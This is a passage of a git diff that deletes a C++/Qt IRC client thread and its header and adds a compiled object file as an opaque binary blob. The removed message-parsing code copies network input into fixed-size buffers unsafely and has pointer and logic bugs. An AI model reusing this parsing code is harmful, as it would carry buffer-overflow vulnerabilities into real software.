NULL) temp2 = strstr(comStr, "!"); - int nickLen = temp2 - temp; - if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); - - - if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) - { - ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] joined the channel."); - _blinkNLine("[" + QString(senderNick) + "] joined the channel.", "[Server]"); - } - else - { - ircTh->doEmitChangeYellowIRCData("You have joined the channel."); - _blinkNLine("You have joined the channel.", "[Server]"); - if(!OnlineMsgSentFlag) //Sending data only once per connect - { - OnlineMsgSentFlag = true; - - char temp[64] = {0}; - strcpy(temp, "PRIV"); - strcat(temp, "MSG #"); - strcat(temp, IRC_CHAN); - strcat(temp, " :My version: v3_"); - strcat(temp, gVER); - strcat(temp, "\n"); - sendS(lSock, temp, strlen(temp), 0); - - connectedToIRC = true; - }; - }; - - } - else if(iWantToConnect && (strstr(comStr, "PART #") > 0 || strstr(comStr, "Part #") > 0 - || strstr(comStr, "part #") > 0)) - { - char *temp; - char *temp2; - char senderNick[32] = {0}; - if(strstr(comStr, ":") != NULL) temp = strstr(comStr, ":"); - if(strstr(temp, "!") != NULL) temp2 = strstr(comStr, "!"); - int nickLen = temp2 - temp; - if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); - - - if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] left the channel."); - else ircTh->doEmitChangeYellowIRCData("You have left the channel."); - - }; - } - else if(strstri(comStr, privTemp) != NULL) - { - char channelName[64] = {0}; - strcpy(channelName, "PRIV"); - strcat(channelName, "MSG #"); - strcat(channelName, IRC_CHAN); - strcat(channelName, " :"); - - char *tprv = comStr; - char *temp = NULL; - char *temp2 = NULL; - - __pinger(recvBuff); - - char senderNick[32] = {0}; - if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":"); - if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!"); - if(temp != NULL && temp2 != NULL) - { - if(strlen(temp) > 0 && strlen(temp2) > 0) - { - int nickLen = temp2 - temp; - if(nickLen <= 32) - { - char *tempD = strstri(tprv, channelName); - int nsz = strlen(channelName); - - if(tempD == NULL) break; - char *temp4 = NULL; - int dsz = 0; - if(strstr(tempD, "\n") != NULL) - { - temp4 = strstr(tempD, "\n"); - dsz = temp4 - tempD - nsz - 1; - }; - - char tempData[512] = {0}; - if(temp4 != NULL) - { - strncpy(tempData, tempD + nsz, (dsz == 0 ? strlen(temp4) : dsz)); - } - else strcpy(tempData, tempD + nsz); - - if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); - - if(strlen(tempData) > 0) - { - QString strf; - strf = QString::fromLocal8Bit(tempData); - _blinkNLine(strf, QString::fromLocal8Bit(senderNick)); - ircTh->doEmitionPlayDckingSound(); - bool HLFlag = doHL(strf.toLocal8Bit().data()); - int cCode = 0; - ircTh->doEmitChangeIRCData(false, HLFlag, cCode, strf, " <a href=\"nesca:" + QString::fromLocal8Bit(senderNick) + "\"><font style=\"color:#" + GetNickColor(senderNick) + "\">[" + QString::fromLocal8Bit(senderNick) + "]:</font></a>"); - - }; - }; - }; - }; - - ZeroMemory(senderNick, sizeof(senderNick)); - - } - else if(strstri( comStr, QString(QString(pTemp) + " " + QString(ircNick)).toLocal8Bit().data() ) != NULL) - { - char *tprv = comStr; - char *temp = NULL; - char *temp2 = NULL; - char senderNick[32] = {0}; - if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":"); - if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!"); - if(temp != NULL && temp2 != NULL) - { - if(strlen(temp) > 0 && strlen(temp2) > 0) - { - int nickLen = temp2 - temp; - if(nickLen <= 32) - { - char *tempD = strstri(tprv, QString(QString(pTemp) + " " + QString(ircNick)).toLocal8Bit().data()); - int nsz = QString(ircNick).size() + 10; - - if(tempD == NULL) break; - char *temp4 = NULL; - int dsz = 0; - if(strstr(tempD, "\n") != NULL) - { - temp4 = strstr(tempD, "\n"); - dsz = temp4 - tempD - nsz - 1; - }; - - char tempData[512] = {0}; - if(temp4 != NULL) - { - strncpy(tempData, tempD + nsz, (dsz == 0 ? strlen(temp4) : dsz)); - } - else strcpy(tempData, tempD + nsz); - - if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); - - if(strlen(tempData) > 0) - { - QString strf; - strf = QString::fromLocal8Bit(tempData); - _blinkNLine(strf, QString::fromLocal8Bit(senderNick)); - ircTh->doEmitionPlayDckingSound(); - bool HLFlag = doHL(strf.toLocal8Bit().data()); - int cCode = 0; - - ircTh->doEmitChangeIRCData(true, HLFlag, cCode, strf, "<a href=\"nesca:" + QString::fromLocal8Bit(senderNick) + "\"><font style=\"color:#" + GetNickColor(senderNick) + "\">[" + QString::fromLocal8Bit(senderNick) + "]:</font></a>"); - - }; - }; - }; - }; - ZeroMemory(senderNick, sizeof(senderNick)); - }; - ZeroMemory(comStr, sizeof(comStr)); - }; - ZeroMemory(recvBuffG, MAX_IRC_RECV_LEN); - }; - }; - - if(iWantToConnect == true) - { - - ircTh->doEmitChangeRedIRCData("[-//-] IRC server went offline."); - - _blinkNLine("IRC server offlined!", "[Server]"); - Sleep(5000); - connectedToIRC == false; - }; - } - else - { - - if(proxyEnabledFlag) ircTh->doEmitChangeRedIRCData("[-//-] Cannot connect to proxy. (" + QString::number(WSAGetLastError()) + ")" ); - else ircTh->doEmitChangeRedIRCData("[-//-] Connection failed. (" + QString::number(WSAGetLastError()) + ")" ); - - - }; - CSSOCKET(lSock); - }; - //}; - CSSOCKET(lSock); -}; - -void oIRC_Th::run() -{ - IRCLoop(); - ircTh->doEmitIRCOfflined(); -}; diff --git a/oIRC_Th.h b/oIRC_Th.h deleted file mode 100644 index 9304430..0000000 --- a/oIRC_Th.h +++ /dev/null @@ -1,47 +0,0 @@ -#ifndef OIRC_TH_H -#define OIRC_TH_H - -#pragma once -#include "nesca_3.h" -#include "irc_nmblinker.h" -#include "IRCPinger_Th.h" - -class oIRC_Th : public QThread -{ - Q_OBJECT - -public: - void doEmitUnhidePopup(QString, QString); - void doEmitChangeIRCData(bool, bool, int, QString, QString); - void doEmitChangeRedIRCData(QString); - void doEmitChangeGreenIRCData(QString); - void doEmitChangeYellowIRCData(QString); - void doEmitChangeRawIRCDataInc(QString); - void doEmitChangeRawIRCDataOut(QString); - void doEmitSetNick(QString); - void doEmitAddNick(QString); - void doEmitClearNickList(); - void doEmitIRCOfflined(); - void doEmitionPlayDckingSound(); - void doEmitGetTopic(QString str); - -public: signals: void sUnhidePopup(QString, QString); -public: signals: void changeIRCData(bool, bool, int, QString, QString); -public: signals: void changeRedIRCData(QString); -public: signals: void changeGreenIRCData(QString); -public: signals: void changeYellowIRCData(QString); -public: signals: void changeRawIRCDataInc(QString); -public: signals: void changeRawIRCDataOut(QString); -public: signals: void setNick(QString); -public: signals: void AddNick(QString); -public: signals: void ClearNickList(); -public: signals: void IRCOfflined(); -public: signals: void notifyPlay(); -public: signals: void getTopic(QString); - -protected: - void run(); -}; - -extern oIRC_Th *ircTh; -#endif // OIRC_TH_H diff --git a/oIRC_Th.o b/oIRC_Th.o new file mode 100644 index 0000000000000000000000000000000000000000..b4f6e33c7ac80fb3fc759a7a501c0b456b8ee9a3 GIT binary patch literal 80000 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 